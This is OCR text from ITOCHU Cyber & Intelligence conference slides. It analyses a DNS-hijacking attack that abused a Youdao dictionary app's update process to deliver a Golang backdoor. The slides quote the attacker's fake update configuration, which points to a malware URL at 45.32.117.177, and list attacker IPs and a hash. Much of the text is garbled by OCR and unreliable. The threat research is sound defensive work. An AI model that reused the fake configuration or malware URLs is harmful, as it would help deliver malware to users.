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Observati ons So Far
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New Attack Technique Encountered
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02. Revealing the Mechanism
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Direction of

Details analysis

A folder for saving the
updater will be created.

This is normal behavior, and
the folder name is determined
based on the timestamp.

The backdoor written in
Golang was created.

©

The backdoor was executed.
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<module=>

<name>youdao _ocr_lib.dll</name=>
<link=http://codown.youdao.com/cidian/update/
<md5>1ed4038466444365e656dd49b656cd52</md5>
<ver=120</ver=

<mode>inquiry</mode=>

<path>.</path>

F <initiallog/=
</module=>
—— i
<updaterurl>http://45.32.117.177/ccint.exe</updaterurls>
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Update configuration files.
This was a fake configuration ©®©
file prepared by the attacker,
which contained a link to a
fake update server.

A folder for saving the
updater will be created.

This is normal behavior, and
the folder name is determined
based on the timestamp.

The backdoor written in
Golang was created.

The backdoor was executed.
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Update configuration files.
This was a fake configuration
file prepared by the attacker,

which contained a link to a

fake update server.

A folder for saving the
updater will be created.

This is normal behavior, and
the folder name is determined
based on the timestamp.

The backdoor written in
Golang was created.

The backdoor was executed.

analysis

©

12



Taki ng t he Nex#East ap /

Case 2

* VAeT H e Qn Ve

Case 1
J/

. Case 3

i izl 1 1 /
L

Normal Abnormality Timeline “ Direction of
ik Timestamp Events Path File/Folder Details analysis
. Network Connection &= Network e
Network COH&"IOH (Spec@ome Router) t AL - - Specific Home Router ®©
&2 | | o
W Data¥ 2
= T ogramData :
New Col A X 3 A h w P o¥DeskDict 1 l 1
A - h l - o v gy
Ly W |
ser;?ser'n Ay i .
n Datti¥Local¥
A 3 . ikDict¥upda
| %
G I sers¥<Usern
Data¥Local¥
skDict¥upda

ITOCHUCy ber & I ntelligence I|Inc. 13



D.e*n . it Ov e rl o ok Ethe Odid ] t4: e s

; e’ a |P
- H a W T ¥ ‘

° > - - - -
e \ £ Db XiaoQiang b Xiaomi z
|_\I
a0 =] .2
S - o P
RiE < > ~
Home Router
onsrequest | - B K3 XiaoQiang is a device manufactured by Xiaomi.
e _.com _'166: domain: cidian.youdao.com
Server:
DnsRequest [ - con 149.28.129.74; AS;‘::;S :1 -
DnsRequest -.com 149.28.129.74; Name : cidian.ynudan.cnm_
Address: 149.28.129.74
bnsrequest |- <o 149.28.129.74;
Resolving DNS using PowerShell for cidian.youdao.com
DnsRequest cidian.youdao.com 149.28.129.74;
Name Type TTL Section IPAddress
onskequest [ con  149.28.129.74; B Ll L L. L
cidian.youdao.com A i} Answer 149.28.129.74
onskequest |G -~ 149.28.129.74;
Name resolution script execution result
pnsrequest [N com . o . o 4 P -

Name resolution log

ITOCHUCy ber & Intelligence | nc. 14



| nv e st i gaitil. onsiEetme (RO e

Ay a T T

®
7 ’ W A

7

B
A
v

0 |!’¢:.=~\|| -

Home Router

Collected router

ITOCHUCy ber & Intelligence | nc.



Fak®i

g:-n p o St

VB

DNS

DNS Request
Destination® Home
Route IP Address

v

H

R
Home Router DNS Reguest

Destination’
121.196.245.248

DHCP

B#ESDNS @ =zE=DNS

121.196.245.248

121.196.245.248

ITOCHUCy ber & I ntelligence I|Inc.

\ 4

Suspicious DNS Server
121[.]196[.]245[.]248

16



| n's i g/t s .0 NisSSEEEtn: Di0sSEt

A DNS

\\\
-y
=

IP

DNS Response

Update App <Legitimate IP Address>
20 = ‘
BE « *
Home Router DiliRespense
< Unusual IP Address>
|
DNS result for the dictionary app update domain Suspicious DNS Server
Trust DNS Server S C:¥Users¥l> Resolve-DnsName -Nane cidian.youdao.com 121[]196[]245[]248
ame Type TTIL Section NameHost
idian.youdao.com CNAME 553  Answer dict .youdao.com
ict.youdao.com CNAME 553  Answer cnane.dict .ntesb3.netease.con
name.dict .ntesh3.netease.com CNAME 553  Answer oversea.dict .ntesh3.netease.com
ane : oversea.dict.nteshbd.netease.com
ueryType
1 : 300 What is this. [P
: Answer
Doihiinass | 4175 73.005 atIs tnis
SUSPiCiOUS DNS Server PS C:¥Users¥> Resolve-DnsName -Name cidian.youdao.com a_dCIreSS’)’D’>
Name Type TTL Section [PAddress
kidian.youdao.com # 0 fnswer 149.28.129.74

ITOCHUCy ber & Intelligence | nc. 17



t chie S

gnpost

/ SRR N

a
0B a
Update App
Update Request
T o 2
BRE < >
Home Router
<module>
<name>youdao_ocr_1lib.dl1l</name>
<link>http://codown.youdao.com/cidian/update/
<md5>1ed4038466444365e656dd49b656cd52</md5>
<ver=120</ver=
<mode>inquiry</mode>
<path>.</path=
<initiallog/=>
</module>
</modules>
<updaterurl3http://45.32.117.177/ccint.exe<fupdaterurl>
</updater=

Fake Config File(Repost)

ITOCHUCy ber

&

Intelligence

t14

A 4

Update Response
Fake Config File

g

Update Response
Malware File

R

I nc.

Suspicious DNS Server
121[.]196[.]245[.]248

v

=

Fake Update Server
149[.128[.]129[.174

A 4

R

Malware Hosted Server
A5[.132[.117[.177 18



Landscape

: v, Qn 0, 0T Y 214
: B ¢V o H A
3 H T
Update App
[=7]. S
x% # Home Router

Trick to get victims to
run a fake update file

Trick to hijack DNS

disguised as an update

ITOCHUCy ber & I ntelligence I|Inc.

»
>

Suspicious DNS Server
121[.]196[.1245[.]248

a
L

=

Fake Update Server
149[.128[.]1129[.174

P el
- Trick to deliver malware

Malware Hosted Server
45[.132[.117[.177

19



Attacker os: T efgaEciit y

.l_|

A AR S g Y &
iOBJ: r']VV o
A
2023/05 - il
2024/03 Spear Phishing
@ 2023/06 Evil Twin Attack

E3 2023/06 Abusing VSCode as a RAT

N |
2024/03 - Abusing Update Process

X
2025/05 Home Network Hijack

@ @

ITOCHUCy ber & I ntelligence I|Inc.

20



03. Concerns & Measures
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04. Conclusions



Concl

us i

Ons

.(D)

rl | 3

ITOCHUCy ber & I ntelligence I|Inc.

08}

Qi

25



ITOCHU Cyber & Intelligence Inc.

Thank you for your attention.
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A .

Date

2023-09-28

2023-10-05

2023-10-06

2024-01-26

2024-08-24

Past

ES

Gifts from Tropical Pirates -New
Dangerous Weapons Hidden in Email
and Malware

Unveiling activities of Tropic Trooper
2023: deep analysis of Xiangoop Loader
and EntryShell payload

Sequel: Gifts from Tropical Pirates -
Who is the Sender? Look for the
Attacker Group

Dark Side of VSCode ~ How Attacker
Abuse VSCode as RAT ~

Pirates of The Nang Hai: Follow the
Artifacts No One Knows

e X -'p.l ansaEtao.r: y.

mat er |

details

Analysis of the initial vector and malware
Same as above

Same as above

Explanation of the distinctive methods used
in the breach

The evolution of malware used in attacks and
an overall picture of the methods used in
attacks
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Links

https://blog-
en.itochuci.co.jp/entry/2023/09/28/171001

https://www.virusbulletin.com/uploads/pdf/co
nference/vb2023/slides/Slides-Unveiling-
Activities-of-Tropic-Trooper.pdf

https://blog-
en.itochuci.co.jp/entry/2023/10/06/173200

https://jsac.jpcert.or.jp/archive/2024/pdf/J
SAC2024_2_3_sasada_hazuru_en.pdf

https://hitcon.org/2024/CMT/slides/Pirates
_of_The_Nang_Hai_Follow_the_Artifacts_o
f_Tropic_Trooper,_No_One_Knows.pdf
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C. Supportirngisenssd e ne:e

Configuration information (.xml) distributed Revoked digital certificate
from the fake update server (excerpt) used in backdoor (ccint.exe)

<?xml version="1.8" ?=>
<updater=
<version>12040</version>
<des>
<item=>
<ver=12040</ver=
<log=
<line><![CDATA[ <h2 style="margin:®
;">EHE 10.2.4.6:</h2><div style="margin:-10px -13px 0;padd |
eight:160%"><br/>- 2 E 1, {EIuFLR<br/>-AIBox{KIEF+L<br />
RAEIES ; <br/>-MAGEIREEE, ZIRFHFXRFTIRE ; </div> ]
</1line=>
</log=>
</item= TUINBERER
<itg <module> -

<name>chrome_100_percent.pak</name=>
<link=>http://codown.youdao.com/cidian/updaf
40318_152151/chrome_100_percent.pak.7z</1link>
ze:13px;">EHE 10 <md5>b79dc3d90ee6c5c447e2876ddB346c8c</md53
;line-height:160%" >4 <ver>120</ver>
<mode>inquiry</mode=>
<path>.</path=>
</ 11 <initiallog/=
<itg </module> AITLINDT IINBRIBAENERATLE.
<module=

<module=
<name=>youdao_ocr_Llib.dll</name> Jupdai
<link=http://codown.youdao.com/cidian/update/update5/202
40318 152151/youdac_ocr_1lib.d11.7z</1ink=> </md5:
<md5>1ed4038466444365e656dd49b656cd52</md5=>
<ver=120</ver=
<mode=1inql
zpath=.</|
=initiallc
</module>
</ MOUULESS
<updaterurl=http://45.32.117.177/ccint.exe</updaterurl=
</updaters= 110 A5 2021711703

%ProgramData’%¥Youdao¥DeskDict¥75f47ef791344d2148e2d0b63c867c92.xml
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